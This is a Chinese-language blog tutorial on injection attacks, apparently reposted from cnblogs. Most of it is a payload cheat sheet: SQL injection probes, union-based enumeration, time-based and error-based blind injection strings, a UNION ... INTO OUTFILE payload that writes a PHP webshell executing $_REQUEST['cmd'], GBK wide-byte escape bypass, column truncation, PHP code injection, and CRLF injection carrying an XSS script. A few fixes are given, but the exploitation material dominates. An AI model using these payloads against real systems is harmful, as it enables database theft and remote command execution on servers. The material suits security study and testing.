码迷,mamicode.com
首页 > 其他好文 > 详细

注入攻击

时间:2018-08-26 18:38:00      阅读:225      评论:0      收藏:0      [点我收藏+]

标签:oca   ascii码   lin   def   sql_mod   方式   攻击   系统   select   

注入攻击本质是把用户的输入当做代码执行,包括:sql注入、XML注入等

发生条件:1.用户能够控制输入;2.原本要执行的代码拼接了用户的输入,导致执行了用户的输入

1.sql注入

sql语言是解释型语言,因此存在先天性的安全缺陷

原理什么的就不提了,从判断是否存在sql注入开始吧~

1.1 判断是否存在sql注入

http://localhost/test.php?id=1  and 1=1    页面正常

http://localhost/test.php?id=1  and 1=2    显示出错或空白

出现以上情况的,就是存在了sql注入,因为,id里的and 1=1影响了sql语句的执行

爆数据库版本:

http://localhost/test.php?id=1 and ord(mid(version(),1,1))>51 

发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。

爆字段:

http://localhost/test.php?id=1 and order by 10   出错说明字段数小于10
http://localhost/test.php?id=1 and order by 5    出错说明字段数大于5
http://localhost/test.php?id=1 and order by 8    出错说明字段数小于8

用二分查找比较好

爆表:

采用union查询的方式进行爆表

http://localhost/test.php?id=1 and 1=2 union select 1,2,3,4,5,6 

可以发现返回了几个数字,把联合查询中对应的数字替换成需要的sql语句进行查询即可

有用的函数:

database()          当前连接的数据库名

system_user()       数据库的系统用户

current_user()      当前登录数据库的用户名

last_insert_id()    最后对数据库进行插入操作的id

 

 

1.2 盲注

盲注主要分为三种类型:基于时间的盲注;基于报错的盲注;布尔型盲注

基于时间的盲注

sleep(n)            延迟n秒 
if(expr1,expr2,expr3) 如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句

BENCHMARK(count,expr) 重复执行表达式expr count次

利用sleep函数:

?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#

例:

?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#

当错误的时候会有5 秒的时间延时。

利用BENCHMARK()函数

?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#
?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)#
?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间。
benchmark()函数可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。

基于报错的盲注

十大报错函数:

floor():
select *from test where id = 1 and (select 1 from (select count(*),concat(语句,floor(rand(0)*2))x from information_schema.tables group by x)a)-- 
?id=1‘ union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+ extracvalue(): select * from test where id=1 and (extractvalue(1,concat(0x7e,(语句),0x7e)))-- updatexml(): select * from test where id=1 and (updatexml(1,concat(0x7e,(语句),0x7e),1))-- geometrycollection(): select * from test where id=1 and geometrycollection((select * from(select * from(语句)a)b)); multipoint(): select * from test where id=1 and multipoint((select * from(select * from(语句)a)b)); polygon(): select * from test where id=1 and polygon((select * from(select * from(语句a)b)); multipolygon(): select * from test where id=1 and multipolygon((select * from(select * from(语句)a)b)); linestring(): select * from test where id=1 and linestring((select * from(select * from(语句)a)b)); multilinestring(): select * from test where id=1 and multilinestring((select * from(select * from(语句)a)b)); exp(): select * from test where id=1 and exp(~(select * from(语句)a));

 

1.3 其他操作

如果当前数据库用户具有写权限,攻击者可以将信息写入本地磁盘中,如web目录

?id=1 union all select table_name,table_type,engine from information_schema.tables where table_schema=‘mysql‘order by table_name desc into outfile ‘/path/location/on/server/www/schema.txt‘

写入webshell:

?id=1 union select "<? system($_REQUEST[‘cmd‘]);?>",2,3,4 into outfile "/var/www/html/temp/c.php"-- 

读系统文件:LOAD_FILE()

写文件:INTO DUMPFILE()和 INTO OUTFILE()

命令执行

利用“用户自定义函数”,即UDF来执行命令

编码问题

基于字符集的注入问题

当mysql使用GBK编码时,0xbf27会被认为是一个双字节字符,但是在进入数据库之前,双字节字符会被认为是两个字符,某些函数,如PHP的addslashes()函数,或当magic_quotes_gpc开启时,会在特殊字符前增加一个转义字符“\”。

当输入0xbf27时,会进行转义,变成0xbf5c27(“\”的ascii码是0x5c),但是0xbf5c又可以组成一个字符,因此,转义符被吞掉,0x27不会被转义,还是单引号。

解决方法:统一数据库、操作系统、web应用所使用的字符集,以避免各层对字符的理解存在差异。

SQL column truncation

当mysql的sql_mode选项被设置为default时,即没有开启STRICT_ALL_TABLES 选项时,对输入的超长值只会显示warning而非error,即插入成功(截断超长部分),若精心设置,可能会出现重复数据的情况,造成越权访问。

 

2.XML注入

与sql注入很相似,用户能够控制数据的输入;程序拼凑数据。

修复:对用户输入数据中的“保留字符”进行转义,如用 lt 替换 <

 

3.代码注入

由一些不安全的系统函数造成,比如:eval()和system()

提交命令:/index.php?arg=1;phpinfo()

4.CLRF注入

CR:\r,0x0d

LF:\n,   0x0a

可以用来注入HTTP头,因为HTTP头通过\r\n来分割,若没有过滤,又把用户输入的数据放在HTTP头中,可能造成安全隐患。

如,两次CRLF注入到cookie

?argc=1%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1

 

注入攻击

标签:oca   ascii码   lin   def   sql_mod   方式   攻击   系统   select   

原文地址:https://www.cnblogs.com/iamgroot/p/9537844.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!